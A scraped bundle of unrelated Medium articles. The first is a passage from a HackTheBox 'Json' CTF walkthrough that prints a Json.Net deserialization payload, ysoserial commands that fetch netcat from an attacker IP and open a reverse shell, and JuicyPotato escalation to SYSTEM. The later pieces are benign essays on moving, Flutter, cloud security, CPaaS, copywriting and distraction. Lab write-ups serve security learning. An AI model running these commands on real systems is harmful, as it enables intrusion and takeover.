cGluZyAtbiAyIDEwLjEwLjE0LjgxJ10NCiAgICB9LA0KICAgICdPYmplY3RJbnN0YW5jZSc6eyckdHlwZSc6J1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXN
zLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5J30NCn0=
If you are curious how it looks like in raw output:
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKey
Token=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e
089',
'$values':['cmd','/c ping -n 2 10.10.14.81']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77
a5c561934e089'}
}
I now paste this in the Bearer field:
The server errors out:
But on my tcpdump sniffer, I get a ping from the machine(you will not be able to identify if you get a ping if you don’t run a sniffer) which validates we have code execution.
I now generate a payload which downloads a netcat binary on one of the directories I can write to. Other locations can be found here: https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "certutil.exe -urlcache -sp
lit -f http://10.10.14.81/nc.exe C:/Windows/System32/spool/drivers/color/nc.exe"
On my simple HTTP server, I get a request:
Now, I generate a payload that will connect to me for a reverse shell:
ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "C:/Windows/System32/spool/drivers/color/nc.exe 10.10.14.81 9001 -e cmd.exe"
On my listener, I get a shell as json.
Running whoami /all, I can see that the SeImpersonatePrivilege is enabled. Which means I can try to use JuicyPotato later.
With this access also, I can now read user.txt
C:\Users\userpool>type Desktop\user.txt
type Desktop\user.txt
34459a01f50050dc410db0...
Privilege Escalation:
I went for the unintended route which uses JuicyPotato. JuicyPotato is another Local Privilege Escalation tool, from a Windows Service Account to NT AUTHORITY\SYSTEM. It based on RottenPotato, the theory behind it according to the page https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ is:
Trick the “NT AUTHORITY\SYSTEM” account into authenticating via NTLM to a TCP endpoint we control. Man-in-the-middle this authentication attempt (NTLM relay) to locally negotiate a security token for the “NT AUTHORITY\SYSTEM” account. This is done through a series of Windows API calls. Impersonate the token we have just negotiated. This can only be done if the attackers current account has the privilege to impersonate security tokens. This is usually true of most service accounts and not true of most user-level accounts.
JuicyPotato can be found here: https://github.com/ohpe/juicy-potato
I first transfer the binary to a directory I can write to, transferring it using certutil:
Checking that it can be ran:
What I will be needing are the following flags:
-t (try both), -p (any program we want to run as system) , -l (which can be anything) , and -c {clsid}
Since juicypotato requires a clsid which depends on the Windows OS. I run systeminfo, and see that this is a Windows Server 2012 R2 Datacenter. Note that from our nmap scan, it is identified as a Windows 2008.
I can look for possible CLSID’s here: http://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter/.
The first CLSID as SYSTEM worked for me which is {e60687f7–01a1–40aa-86ac-db1cbf673334}. I then transfer a .bat file using certutil, which basically contains:
C:/Windows/System32/spool/drivers/color/nc.exe 10.10.14.81 9003 -e cmd.exe
Running juicypotato:
.\j.exe -t * -l 9001 -p c:\Users\userpool\Music\test.bat -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
I get a shell as nt authority\system. I can now read root.txt:
C:\Users\superadmin>type Desktop\root.txt
type Desktop\root.txt
3cc85d1bed2ee84a...
So that’s how I solved Json. I hope you learned something from this. Thanks for reading my write-up! Cheers! 🍺 | https://infosecwriteups.com/hackthebox-json-5c91db6b67ed | [] | 2020-02-17 09:59:18.540000+00:00 | ['Json', 'Windows', 'Hacking', 'Capture The Flag', 'Ctf'] |
Benefits of house removals Kingston services | Benefits of house removals Kingston services
Ready to move into a new house, but what about the things that you have to take there too? It is obvious that as much as you are happy you are about the new house; you are worried about there location process too. But why worry when you can hire the services of house removals Kingston.They perform this task almost every day. They are trained and no what is the right way to end a process without making any mistake. So, hire them for the moving process, as there are so many benefits of hiring them No stress Hiring an expert take away almost all your stress. It is because there is nothing left that will worry about you. You get a trust that everything is in the right hand. When your mind is relaxed you able to do other things properly that need your attention.No wastage of time Also, when you hire a professional the process end on time that is told by you in the beginning. Also,as you don’t have to take part in the process, means you will not have to take off from your job. The time you get, you can spend on some else activity or if you want you can just enjoy your new house. Reliability The other benefits are that the moving services given by experts are reliable. At every stage, they stay careful and handle the stuff carefully. Something rarely goes wrong and you have to face any types of loss.Financially savvy The benefits are financial. No way taking services from a professional cost you more money. The money that is not according to your set budget. The services are given to you according to your budget. Also, the prices are fixed. Even if the process finishes late the company handle that. You don’t have to worry or pay extra. Insurance Another good point of hiring professionals is that you get insurance. It is very simple to understand.As the company is handling your valuable stuff so they give you insurance. If something happens because of its worker fault, the company will recover that loss.Services gave by the professional movers The services given by professionals areThe services start with planning. The team visit your home to see the size of the house and the stuff that need to move. They perform this exercise so in the end there is nothing left behind.The next step of the services is packaging. On that day the company bring all the material that is required.They also have tools to do the job. They pack every item with care whether it’s small or big.They finish every task pretty quick. As their hands work like a robot.
After that, they bring in the van so they can load all the cartons in the van. They lift all the cartons with great care and place them properly so on the way they didn’t fall.The drivers who drive vans are also very skilled. They drive the van carefully and smoothly. They select roads that are good in shape.Once the stuff reaches your new home, they unload the cartons and place them in the rooms where they belong. It is an issue to know which carton has which stuff as they mark each carton while packing.Last but not the least step is the assembling of the house. They also help the customers in that.If there is something that you don’t need, for now, they will offer you a service to a place that in the company storage house. If they don’t have one, they suggest the one that is good and suitable for you.Once the job is done and the client gets satisfied, then they leave the home. | https://medium.com/@jasonberry0012/benefits-of-house-removals-kingston-services-40eda4fad9a5 | ['Man'] | 2019-12-11 12:09:03.086000+00:00 | ['Cleaning'] |
Elements, Keys and Flutter’s performance | An Element is created internally by a Widget . Its main purpose is to know where in the widget tree is the widget that created it.
Elements are expensive to create and if it’s possible, they should be reused. That can be achieved with Keys ( ValueKeys and GlobalKeys ).
Element’s life cycle
Mount — it’s called when the element is added to the tree for the first time
Activate — it’s called when activating previously deactivated element
Update — updates the RenderObject with new data
with new data Deactivate — it’s called when the Element is removed/moved from the Widget tree. An Element can be still reactivated if it was moved during the same Frame and it has a GlobalKey
is removed/moved from the tree. An can be still reactivated if it was moved during the same Frame and it has a Unmount — if the Element was not reactivated during a Frame, it will be unmounted and cannot be reused anymore
To improve performance we need to use activate and update as often a possible and try to avoid triggering unmount and mount.
IMPORTANT: Most of the time you do not need special optimization as Flutter is fast, the following I would recommend using when you want to fix a visible performance problem.
Changing position in a Column/Row | https://medium.com/flutter-community/elements-keys-and-flutters-performance-3ef15c90f607 | ['Tomek Polański'] | 2020-06-01 19:12:58.449000+00:00 | ['Performance', 'Flutter'] |
5 Things to Consider When Transitioning to the Cloud | 5 Things to Consider When Transitioning to the Cloud Fletch Jun 17·5 min read
Image source: Unsplash
A cloud-based business can boast many efficiencies that an on-premise counterpart may not. In a new remote work economy and almost every organization having technical facets, cloud migration is a prevalent mechanism across sectors.
There are many benefits to becoming a cloud and Saas-based business, but costs could stem from leaders neglecting to reshape how they think about their business, infrastructure, and security.
Risks Associated with Migrating to the Cloud
The most significant risks associated with migrating to the cloud often stem from the fact that organizations think they can transition the same practices they’ve followed while on-prem directly to the cloud.
If you take your on-prem ideals with you, you risk not reaping the benefits of the cloud and fall more susceptible to risk. It’s best to reimagine your security policy based on how your infrastructure and operations will look across your new cloud and Saas applications.
Additionally, since you don’t completely own your perimeter in the transition, don’t assume you can trust your cloud providers to secure your perimeter. Making this transaction requires strategizing how security policies should change.
Here’s what you should think about when making the transition:
Acknowledge the transition won’t happen overnight
Expect the move to the cloud to be a journey, not an overnight event. This is key to avoid becoming overwhelmed and pressured to tackle all issues at once. The move will save you money and grant you efficiency and elasticity. But don’t buy up a bunch of services with features that are not needed simply because your peers are doing it, or your board may be mandating it. Instead, push back and remind your organization to be agile and find the best people to learn from before making a blind purchase. Accept responsibility for new infrastructure
Don’t adopt the cloud and keep your on-prem mindset. Be wary of the changing threat levels that come with adopting the cloud and the decreased control over your environment. Your engineering team will now be responsible for securing your assets in the cloud, and to support them, it’s best to automate wherever you’re able to. Foster a partnership between your IT and engineering teams
A transition of power happens with cloud migration in terms of security measures now being owned partly by your software providers and your engineering teams. This means you will need to create a deeper partnership with your IT and engineering team to work closely together. Understand new security risks
Shifts to cloud infrastructure incite new norms around information-sharing between departments within your organization. As a result, employees need heightened access to various documents, making it trickier for security teams to identify abnormal behavior and insider threats. Additionally, as teams have had to work remotely due to COVID-19 and consequently experience burnout, distractions, or fatigue, employees are likely to fall for external phishing scams. To mitigate risks, you can limit the number of applications and features to use and train all of your personnel to be competent in detecting scams, as well as internal malicious or abnormal behavior. Don’t assume your cloud providers will secure everything for you
Your cloud providers have your back in securing your perimeters with firewalls. However, when it comes to the software you’re running, how you configure things, and whether or not a bucket is open for the world is your responsibility to monitor.
As businesses move away from physical, on-prem data centers to the much more flexible, efficient, time-saving, and cost-effective cloud-based applications, the journey can be complicated.
To ease the pain and help optimize the journey ahead…
Educate employees on new security policy
Once you create a new security policy, make sure your company is educated on it. Your organization will be more secure when employees understand that security isn’t for the benefit of security and IT teams only and just checking boxes, but rather for solving a real business problem and keeping the company and its customers safe.
Once you create a new security policy, make sure your company is educated on it. Your organization will be more secure when employees understand that security isn’t for the benefit of security and IT teams only and just checking boxes, but rather for solving a real business problem and keeping the company and its customers safe. Focus on the behaviors of people and machines
The need to monitor behavior for anomalies quickly and efficiently is skyrocketing. User behavior analysis takes care of this, but the tools tackling this issue have fallen short of being reliable, transparent, and accessible in the past. The emergence of new technologies, automation, and natural language processing can quickly let you know in human terms whether somebody is behaving oddly by accident or if their account is compromised. New tools will also be able to determine whether a machine is malfunctioning because it’s set up wrong or if it’s hacked.
The need to monitor behavior for anomalies quickly and efficiently is skyrocketing. User behavior analysis takes care of this, but the tools tackling this issue have fallen short of being reliable, transparent, and accessible in the past. The emergence of new technologies, automation, and natural language processing can quickly let you know in human terms whether somebody is behaving oddly by accident or if their account is compromised. New tools will also be able to determine whether a machine is malfunctioning because it’s set up wrong or if it’s hacked. Set best practices that are right for your business
Pay attention to how your CSA controls have followed frameworks like SOC2 or HIPAA, and put together a plan that gives you the visibility you need across your infrastructure. Then, establish best practices to build your new infrastructure and eliminate gaps accordingly. Automation and new technologies can help you continuously monitor and discover gaps within your cloud controls on an ongoing basis and prioritize accordingly to mitigate any issues.
Pay attention to how your CSA controls have followed frameworks like SOC2 or HIPAA, and put together a plan that gives you the visibility you need across your infrastructure. Then, establish best practices to build your new infrastructure and eliminate gaps accordingly. Automation and new technologies can help you continuously monitor and discover gaps within your cloud controls on an ongoing basis and prioritize accordingly to mitigate any issues. Keep emerging cyber threats in mind
Each time there is a cybersecurity scandal in the news, it’s easy to fall down a rabbit hole of constantly asking yourself if you’re vulnerable or impacted. The best way to mitigate risk is to tag and organize your assets, identify where your crown jewels lie, which applications and files are most important, and where your customer data is stored. Then, implement new technology to triangulate your priorities and the attacks emerging every day to confirm you are focusing on the right stuff and protecting your most valuable assets.
To learn more, check out this conversation with Fletch’s CEO and Founder, Grant Wernick, for more guidance on tackling migration to the cloud.
If you are interested in learning more about how Fletch can help as you take on adopting the cloud and all of its flexibility, please contact us at [email protected] or sign up for a demo on our website. | https://medium.com/@fletch-ai/5-things-to-consider-when-transitioning-to-the-cloud-7fc9cb188e8c | [] | 2021-06-25 00:41:22.734000+00:00 | ['Ciso', 'Cybersecurity', 'Cio', 'Cloud', 'Infosec'] |
Everything-as-a-Service Adds Business Communication | www.GeoActiveGroup.com
Mobile channels are increasingly important for enterprises to connect with employees, business partners, and customers, with telecom service providers emerging that offer a comprehensive platform that enables the management of this essential tool. Plus, they’re now frequently cloud-based solutions.
These solutions are collectively known as Communications Platform-as-a-Service (CPaaS) offerings.
There are a number of services that can be considered part of CPaaS platforms, including messaging technologies such as SMS, Rich Communication Services (RCS), and Over-the-Top (OTT) messaging applications. Also offered are push notifications, digital voice services, and email.
CPaaS Market Development
According to the latest market study by Juniper Research, CPaaS revenue generated within the North American marketplace will reach $15 billion by 2026 — that’s rising from $3.7 billion in 2021.
The study found that significant demand for mobile channels — such as SMS and mobile voice — from enterprises has created a highly attractive market for CPaaS vendors and service providers. CPaaS platforms offer a centralized service for outbound communications.
The research findings predict that this growth will drive investment from leading CPaaS vendors into the North American region. In turn, the region is anticipated to represent 45 percent of global CPaaS market value by 2026, despite only accounting for 5 percent of global mobile phone subscribers.
Juniper research analysts urge CPaaS platform providers to invest in AI-based conversational messaging functionality to capitalize on this emerging growth.
They anticipate that enabling mobile subscribers to buy digital and physical goods through the native mobile messaging app client will further increase the appeal of a vendor’s CPaaS solutions.
CPaaS vendors must attempt to benefit from the growth of mobile messaging via revenue-sharing agreements that allocate a proportion of commerce sales to their platforms as revenue.
In order to maximize this new revenue-generating channel, Juniper suggests that CPaaS vendors prioritize the onboarding of key eCommerce retailers in the U.S. market and ensure that payment details are stored securely.
According to the Juniper assessment, as CPaaS services become increasingly competitive in North America, leading vendors and service providers will look to capitalize on future growth in the Asia-Pacific region.
Outlook for CPaaS Enterprise Applications Growth
Juniper has forecast that revenue in this key region will rise from $2.2 billion in 2021 to over $9 billion by 2026 — that’s representing a growth of over 300 percent during the next 5 years.
“North America represents an immediate opportunity for CPaaS vendor growth, but long-term growth strategies will require vendors to invest their operations in other regions, as North America becomes saturated,” said Sam Barker, head of analytics and forecasting at Juniper Research.
That said, I recall the early development of CPaaS offerings and the relatively limited enterprise use cases at that time. In the past, most business communications were enabled by an on-premises telecom infrastructure investment. Today, that approach is the exception in most forward-looking organizations.
Everything-as-a-Service now includes comprehensive business communication capabilities. This market has significant upside growth potential as more organizations embrace a distributed workforce model and many knowledge workers and front-line employees are enabled to perform their job from anywhere. | https://medium.com/technology-media-telecom/everything-as-a-service-adds-business-communication-50404eade5d6 | ['David H. Deans'] | 2021-12-10 13:51:59.047000+00:00 | ['Telecom', 'Enterprise', 'Cpaas', 'Mobile', 'Messaging'] |
Default To Friendly | May 4, 2021
I don’t know if it was because I was raised in a Christian home, a southern home, or from just the societal norms of being a woman that has led me to have an instinctive reaction to be friendly. Maybe it’s just part of who I am as a person. The age old: nature versus nurture debate. Regardless of the reason, sometimes it plain sucks. I just read a book called “Talking to Strangers,” by Malcom Gladwell (I highly recommend it, by the way). He describes that it is in our human nature to default to truth. I’m stealing from him a bit and saying I have a default to being unnecessarily friendly. You would think it’s a good character trait, and most of the time I guess I’m happy about it. However, there are other times it makes me hate who I am to my very core. Sounds harsh right? Yea, it’s been a tough weekend with myself.
So let me catch you up. I have two quite simple and seemingly harmless stories. Most likely they are harmless, but it weighs on me harshly every time I have these types of experiences. As many of you know, I recently bought a house. The day I got my keys, I went over to my new place to make preparations for my move. As I walked outside to my car to go back to the apartment, a neighbor was passing by walking her dog. She was maybe in her late 50s and we’ll call her Susie. Now I don’t have the best memory for exact words, but the conversation goes something like this:
Susie: Oh, hello are you moving in?
Me: Yes, I’m excited to join the community.
Susie: Well, I’m Susie and this is my dog Fido. I moved here from California and just love it. Where are you moving from?
Me: Oh I’m coming from an apartment in Charlotte, just seemed like a good time to buy with the low interest rates right now.
Susie: yes I would say so. What do you do? Do you live by yourself?
ME: I’m a Senior Account for a company HQ in town. Yea it’s just me.
***insert more small talk with lots of questions directed towards me***
Susie: Well me and some of the ladies get together for games. I’ll bring my card by later, you’ll have to join us
I don’t remember all the questions she asked, but there were several. Obviously the important bits are what stick out. We’ll come back to this in a minute. Wanting to connect with my neighbors, I joined an app called Next Door. This app only allows people from your neighborhood to join. I go on runs 3 times a week. To be nice and friendly, I have made a few posts offering to walk someone’s dog if they need help. No takers yet.
A few months later and here we are in May. The pool has just opened and a friend and I wanted to check it out. We went down later on Saturday around 4pm and there was enough space that we felt socially distanced enough to be safe. We sat and chatted and after some time my friend wanted to check the water. I knew the water would be icy so I stayed in my seat. She sat on the edge, dipped her foot and looked back, it was icy. One of the men nearby, mid to late 40s, took this opening to converse. We will call him Jim and my friend Sara.
Jim: You just gotta jump in, if you slow play it or think about it, you’ll never get in.
Me & Sara: …
Jim to me: See this is where you go push her in to help her out.
Me: I’m not that kind of friend.
***Sara gets out and comes back over and rejoins me***
Jim to me: So what’s your name?
Me: Bethany
Jim: and your last name
Me:….. uh, [gives last name]
Jim: Oh you’re the girl who’s been posting about dog walking. You’re lightin’ up a fire with Rita.
Me: What do you mean?
Jim: Well ya’ know there are dog-walkers in this neighborhood, so you’re messin’ with their money.
Me: Oh, well I didn’t mean anything by it. I used to have a dog and miss him. I thought it would be an easy way to steal some puppy love and help someone if they needed it.
Jim: Well you better watch out or you’ll get your tires slashed.
Let me pause and take a moment to describe that the tone is joking and seemingly friendly. The dialogue doesn’t necessarily convey that. A few moments go by and he starts up again.
Jim: So where do you live in the neighborhood?
Me: …. Towards the front of the community.
Jim: Oh you live in the house with the astro turf. I’ve seen that house because I’m friends with your neighbors who live behind you. Why’d the prior owner do that?
Me: I’m not sure, she had a dog, maybe it was easier maintenance for her
Jim: That doesn’t make any sense, how do you care for something like that? Sorry, I don’t mean to grill you. Where did you move from?
And he continues with a thorough background check. At this point I start to get a bit annoyed, because I keep turning back to my friend to re-engage, and he continues to ask me questions. He finally started to go on his way and rejoin his friends. But not before I at least was able to ask, “Oh, I didn’t catch your name or where you live?” which he answered.
Have you spotted my issues yet? Do you see where I’m frustrated with myself? In example one, why on earth did that woman ask me if I lived alone? Example two, why does Jim need to know my last name or specifically which house I live in? And the biggest question of all…. Why in the hell did I answer them?! What the hell is wrong with me? Yes, you could make the argument that they were just being nice and friendly. Meeting the new person in the neighborhood. In return, I was trying to be a good friendly neighbor. But the lady had asked me many personal questions and she never brought me her card. If she was really connecting wouldn’t she have followed up? In example two, Jim never offered me any information about himself until I asked. Again, if he was looking to connect, it would’ve been a two-way conversation. I also find myself wondering, would he have come over at all if I hadn’t been a woman in her 30s wearing a swimsuit (two counting my friend)?
I spoke to my friend about it later and she was actually a bit surprised to find out I was upset. She said I didn’t seem distressed or bothered in the situation. And she’s right, while it was happening I wasn’t thinking much of it. I hesitated on some of the questions, but just answered right along. I was simply defaulting to friendly. And in these two circumstances, it sucks. First I put out there that I’m by myself. Next I have some weirdo who knows where I live and his friend might slash my tires for trying to help people walk their dogs.
And before you offer any advice, although I do appreciate it and am looking for it, yes I know I don’t have to answer them. I know a very easy and good tactic to take control of an uncomfortable conversation is to simply ask a question back. I could’ve said something like, “oh why do you ask?” or “ why do you need my last name, is this a credit check [insert fake laugh]?” Even more, I know that Jim or Susie are the rude ones for asking invasive questions. So I don’t even owe being nice to them. Further still, what am I afraid of, being called uptight by an invasive person?
I’d also like to take this moment to make a parallel that popped in my head while sulking all weekend. Both of the above experiences brought up memories of my essay from two years ago Cabeceo: Let’s End the Excuses. I wrote that discussing why it’s important not to just walk up to me (or anyone) and directly ask me to dance. Some of us have a default to be friendly, and despite our best efforts to work on saying, “no,” when we should, sometimes our instinctual response beats us to it. And let me tell you, we hate ourselves for it.
Most readers were very supportive of my piece, but of course there were a few who strongly disagreed. Mostly, they felt like I needed to learn how to grow up and just say no. Again, they are not wrong. The same perspective and application applies to the above circumstances. I just need to grow up and shut down questions I don’t like. But what do I do when saying yes, or answering questions, is part of who I am. It isn’t until later when I reflect on what has just happened that I’m mortified about it. Then I am the one, not the inquirer, who spends all weekend wishing I were a different person. Wishing I wasn’t made this way.
I guess I just need more practice, and probably some therapy to really make bigger changes in this area. Two years later and I seem to be in the same place I was when I wrote my Cabeceo essay describing essentially the same problem. For those of you who understand and go through the same thing, let me know how you get through it. I hope my sharing helps you feel less alone. I feel your pain and I’m sorry you face this, I know it isn’t fun. For those of you who have no clue why this is so hard, I wish I knew, but hopefully this will help make you aware of some of my (and others’) struggles. Feel free to step in for me, if you see me answering invasive questions. Often I don’t mind being open, but it’s nice to have a good reminder to think about how I am engaging in a conversation. Having a reminder to make a conscious choice, instead of simply defaulting to friendly. | https://medium.com/@bethanytangos/default-to-friendly-6fa142e9ac59 | [] | 2021-05-10 16:21:39.132000+00:00 | ['Respect', 'Too Nice', 'Safety', 'Introvert'] |
How conscientious copy and design affects brand perception | Adam Stokes | Senior Copywriter at Purplebricks
There’s bad copy, good copy, and then there’s conscientious copy. That which strives further than to simply succeed in its goal of instruction or conversion, but to really make a lasting impact on the user, for no immediately identifiable benefit other than to simply be memorable—but that’s where the long game begins.
Copy and design that seeks to delight the user through desire, and not necessity, has a clear aim for its brand perception, and that is one that is trying to carve out a lasting personality for itself that will ultimately see consumers developing an affinity for it.
Who would have thought that the old adage you’ve been told by teachers, parents and significant others alike your whole life would extend to brand communications, too? As it turns out, 2020 is continuing to surprise us by also being the year we discovered you could take marketing advice from Joey…
It’s not what you say, it’s the way you say it
This is where tone of voice becomes essential. There are an uncountable amount of ways that the English language can be used to convey the exact same message, all of which would essentially be asking for the same action to be taken or informing a user of the exact same information.
The difference is that based on the way that is executed, you are impacting two core metrics:
Conversion
Brand perception
While failing on the first is an example of bad execution by all definitions—you can, in theory, be unsuccessful in achieving your desired goals for the latter while still performing well against monetary metrics.
But that’s why Joey is so right.
You can still express something in a way that makes sense (and garners action), but fails to be expressed in the way you want it to be said—which will ultimately contribute in the long term to how your customers perceive you as a brand. Copy and design is key to this success.
Let’s take a few examples…
Innocent Drinks
Innocent’s success is in no small part due to its disruptive brand identity. Long known for its unique voice, you can quite quickly recognise the personality it has curated for itself from the homepage alone.
The innocent homepage
Where do we start?
Comical banner copy Colloquial language and tongue-in-cheek design used on arrows Flag icons in the footer designed to match the soft all-round branding Instructional contact us copy made to be informal
But what else do you expect from a company that named its HQ Fruit Towers. Innocent’s continued and deliberate use of light hearted language and imagery all contribute to its attempts to not take itself too seriously, become a brand of the people, and be recognised as such. These conscious efforts then begin to bear fruit (pun most definitely intended) as customers begin to align themselves with a brand whose values they recognise in themselves.
For example, the header banner could have quite easily read:
Made with nutritious ingredients, and including even more vitamins than our previous products.
It says the same thing, but with much less character, and therefore much less impact. And where’s the fun in that?
Even the visual design pokes fun at itself in a self-reflective way with the subtle addition of the poles behind the arrows, clearly nodding to the fact that it is an advert that has been produced for your consumption through the use of skeuomorphism. This is digital design! There is no need for the pole, it brings no visual value, other than to add to the self-aware, meta persona that contributes to the overall brand perception.
Challenger banks
Take your pick. Monzo, Revolut, Starling — they’ve all succeeded in doing pretty much the same thing. Bringing an historically very drab and compliant led industry bound in red tape (which makes it all the more impressive) to the modern age in an attempt to appeal to a younger demographic with different values.
And how did they do that? By speaking to their respective audiences in a language they understand.
For a start, your introduction to them is via a brand name like ‘Monzo’. It doesn’t mean anything, and if it did, Monzo has been so effective in its SEO efforts that you’ll never find the answer you’re looking for anyway…
Monzo optimising search queries for very clever knowledge graph results like this…
Monzo is so detached from historical naming conventions that have resulted in Building Societies, Banking Groups or acronyms you’ll neither know nor remember, that you can easily see why its intended demographic are so drawn to them.
Then, in an equally defiant move against the industry it is so intent on disrupting, you receive a neon coloured bank card in the post to go with your shiny new app, which is the primary means of using the service.
In fact, Revolut doesn’t even offer a desktop logged in experience. Which, while frustrating and an oversight they may eventually review, speaks volumes of how they perceive and engage with their demographic.
Monzo has actually committed pen to paper to explain this sentiment exactly in its tone of voice guidelines.
It is a brand that isn’t afraid to use emojis in it’s communications, and outright admits and defines its tone of voice as actively attempting to replicate the language its audience uses—even going as far as comparing its preferred tone of voice against industry standard terminology in an effort to demonstrate exactly why it takes this stance. And given it’s challenging an industry so used to using a formal register, shunning that becomes all the more impressive and impactful. | https://medium.com/purplebricks-digital/how-conscientious-copy-and-design-affects-brand-perception-e74a2ed9f04 | ['Adam Stokes'] | 2020-11-11 17:31:00.270000+00:00 | ['Copywriting', 'Monzo', 'Brand Strategy', 'Innocent', 'Copywriting Tips'] |
The Disease of Being Average | Over the last few days, I’ve been hit with a debilitating illness. It’s not something that’s kept me in bed, and I’m hoping (although I could be wrong) that it’s not contagious. I haven’t thrown up, coughed, sneezed, or even had a headache.
But then again, this disease doesn’t normally manifest itself outwardly. It’s internal. I call it the disease of being average. Every now and again it flares up, and when it does, it has a unique power to quickly derail many of your short-term hopes, dreams, and ambitions. I hate it. But it’s hard to shake.
So what is this mysterious disease of being average?
I believe it’s when you can’t push yourself to do anything more than what’s required of you.
The disease of being average is very different than the disease of underperforming or being unreliable. Those two illnesses can be challenging in their own right, but usually manifest themselves in an external way — meaning the people around you notice. The tricky part about being average is that no one knows you have the disease but yourself. It’s completely internal. In fact, for some, they can’t even sense that they’ve contracted it. Only when you grasp your personal worth and potential as a human being can you truly understand the disease.
You see, when you’re underperforming or when you’ve become unreliable, many people around you will see that. You’ll get comments from bosses, from co-workers and from friends. Your performance metrics will take a dip. You may lose out on standard bonuses or fun social outings simply because you’ve lost the trust of those who are counting on you.
However, when you’re struck with the disease of being average, the status quo remains the same, and no one around you blinks an eye. Being average means you do everything you’re told to do at work and that the quality of the work remains at acceptable standards. Being average means you continue to hangout with your friends and be exactly who you’ve always been, with no extra effort to make someone feel special or show an increase of love. Being average means you play your role in your family, whether that be as a parent or a child to the standard that people would expect of you, but nothing more. Being average means you spend your free time in rudimentary, wasteful, but acceptable ways, like by watching hours of Netflix or sleeping in past 11am.
The difficulty with breaking free from the disease of being average is that most everyone around you has it! In many cases, it’s what the world expects. So when you compare yourself to others (which, unfortunately, we all do) you feel like you’re not falling far behind. Sure you have that one friend that seems like a crazy overachiever, but outside of him/her you’re doing about as well as everyone else. Everything you’re doing is status quo. Everything you’re doing is socially acceptable. So why change? And how do you get the motivation to change?
Understanding the cause
I think the biggest challenge that we face today in overcoming this disease is that of distraction. We live in a world today where entertainment is everywhere and access to it is all but unlimited. Distraction keeps us from doing our best work. Distraction mires us in the slog of average.
A study reported by MarketWatch says that we average over 11 hours of media consumption. PER DAY. Keep in mind there are only 24 hours in a day and 8 of them are typically spent sleeping. So of the remaining 16 hours, about 69% of our time is spent in front of a screen consuming media. And to make matters worse, the trend is increasing. Each year, more and more of our time is spent in front of a screen as a consumer of media.
So think about your day for a second with these things in mind. Is there any wonder why you haven’t accomplished everything you’ve hoped to do? How can any of us expect to do something meaningful, something truly great with our lives when the majority of our waking hours are spent glued to a screen, laughing at hilarious memes or binge-watching the latest series?
Take a look at the graphic below. It gives a general breakdown on how much time the average American is spending between social media apps.
This is insane. For me personally, the individual clocks are different (a good chunk of my social media time is spent on Twitter, with very little time spent on FB, Insta, or YouTube, and zero time spent on SnapChat) but the total time period is likely about the same.
Isn’t it kind of depressing to consider that time is our most valuable resource here on earth, and yet we’re spending a lot of it doing absolutely nothing?
Sure I can justify my time on Twitter… I can say things like: “I just want to stay up to date on everything in the NBA.” Or, “I’m finding really great articles and blog post written by top tech leaders. I’m sure I can learn a lot reading them.” Or, “It’s vital that I stay current with the major news and political events of our time if I’m to be an informed citizen.”
These are the lies I tell myself daily. And guess what, I know just about everything that happens in the NBA, and I know about it the second it happens (thank you Woj). I read countless articles written by VCs, CEOs, Startup gurus, and many others about how to start, run, and operate a business (most of them just say to work hard and don’t be distracted… whoops). I am very informed about the political direction of this country and I can talk endlessly about X policy or Y controversy on any given day (this depresses me more often than not).
But what good has any of this information done me? What have I been able to accomplish because of it? What major contribution have I made to society because of my aptitude with Twitter’s app?
The answer is simple: This information has done nothing. Nothing for me and nothing to make the world a better place. It’s been nothing more than a distraction to keep me chained to the wall of mediocrity.
I’d love to invite you to take a little bit of time and reflect on your own distractions.
Many of us have smartphones, tablets, laptops, and televisions. Some of us have cable while others choose to pay for streaming services like Netflix and Hulu. A lot of us have both. If that’s not enough we can find and consume millions of videos and streams for free on sites like YouTube or Reddit. There is never a shortage of news articles to read, blogs to visit, podcasts to listen to, feeds to scroll, streaks to maintain, ideas to retweet, or pictures to like.
The point is, there is just so much material in the world to distract us that it’s truly astounding when anyone accomplishes something truly meaningful in life. It’s a wonder that anyone can break free from the disease of being average when all these things are designed to keep us ill for the rest of our lives.
I would argue that in 2019, despite our incredible advances in technology, the internet, and education, and despite the readily available access to books, blogs, capital and mentorship, it’s never been more difficult in the history of mankind to achieve something truly great.
Some people call it the “Information Age” but I’m just calling it how it is — we live in the “Distraction Age” and we’re being brought down as a society because of it.
So what can we do
There is no easy way to fight distraction when our lives are completely immersed in it. There’s so much pressure to be up to date on everything, so much FOMO within our social groups, and so much anxiety about keeping with the latest trends, that unless you’re truly dedicated to personal greatness, you’ll never break free.
The first step is to recognize your weaknesses. What are the sites, apps, entertainment options, etc. that keep you from being your best self. For me, it’s probably a mix of Twitter and Netflix. To break free of the disease of being average I need to drastically reduce the time spent between those two applications.
The second step is to make plans to fill that time with productive, passionate work. If you want to actually achieve personal greatness and quit floundering in the seas of the mediocre, it’s time to set some goals and get moving on them. What type of things are you going to do with your newly discovered free time? The temptation will just be to find a new place to waste it. Fight this at all costs. Tim Ferriss once said something to the effect of “system over will power.” Basically, this means that unless we have a system or a series of goal or check-list items in place, our will power will naturally falter and we’ll go right back to being average. It’s critical to not just have something to work on, but something that you’re going to be passionate about, something that will excite and challenge you. Find this and go for it.
The final step is to be relentless. You’re a human being so you’ll undoubtedly fall short of a goal every now and again. I have a hard time believing any of us can ever truly break free from all distractions (unless you do something really drastic and live like famed movie director Christopher Nolan who reportedly doesn’t own a cell phone). So when you do fall into a slump, just go back and repeat steps one and two. You can also reverse course and try again. This is what will ultimately make you great. The vast majority of human beings will stay mired in distraction while the good ones, the ones that will actually make a difference in society, will find a way to consistently overcome the pull of averageness.
Final thought
